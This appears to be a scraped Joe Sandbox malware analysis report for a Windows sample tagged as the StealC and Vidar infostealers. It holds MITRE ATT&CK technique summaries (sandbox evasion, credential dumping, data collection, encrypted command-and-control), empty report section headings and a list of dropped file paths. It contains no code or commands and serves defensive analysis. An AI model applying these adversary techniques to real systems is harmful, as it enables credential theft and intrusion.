Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report YEnIrzZUUw.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEBKKECBGIIJJKECGIJE

C:\ProgramData\CZQKSDDMWR.xlsx

C:\ProgramData\DHJDAFIEHIEGDHIDGDGH

C:\ProgramData\DVWHKMNFNN.docx

C:\ProgramData\EGIDBFBFHJDGCAKEGHJECGHCGC

C:\ProgramData\FHIDAFHCBAKFCAAKFCFCFIIJKF

C:\ProgramData\FIDHCFBA

C:\ProgramData\GAOBCVIQIJ.docx

C:\ProgramData\GHDHJEBF

C:\ProgramData\HIEBAKEHDHCAKEBFBKEGCGIEBF

C:\ProgramData\HTAGVDFUIE.docx

Windows Analysis Report
YEnIrzZUUw.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre